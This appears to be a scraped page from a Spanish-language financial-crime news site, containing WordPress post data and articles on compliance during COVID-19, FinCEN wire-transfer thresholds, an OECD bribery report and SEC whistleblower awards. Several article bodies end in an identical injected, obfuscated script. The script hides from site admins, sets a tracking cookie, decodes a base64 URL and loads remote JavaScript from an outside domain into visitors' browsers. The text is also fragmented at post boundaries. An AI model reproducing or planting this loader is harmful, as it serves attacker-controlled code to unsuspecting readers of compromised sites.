key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 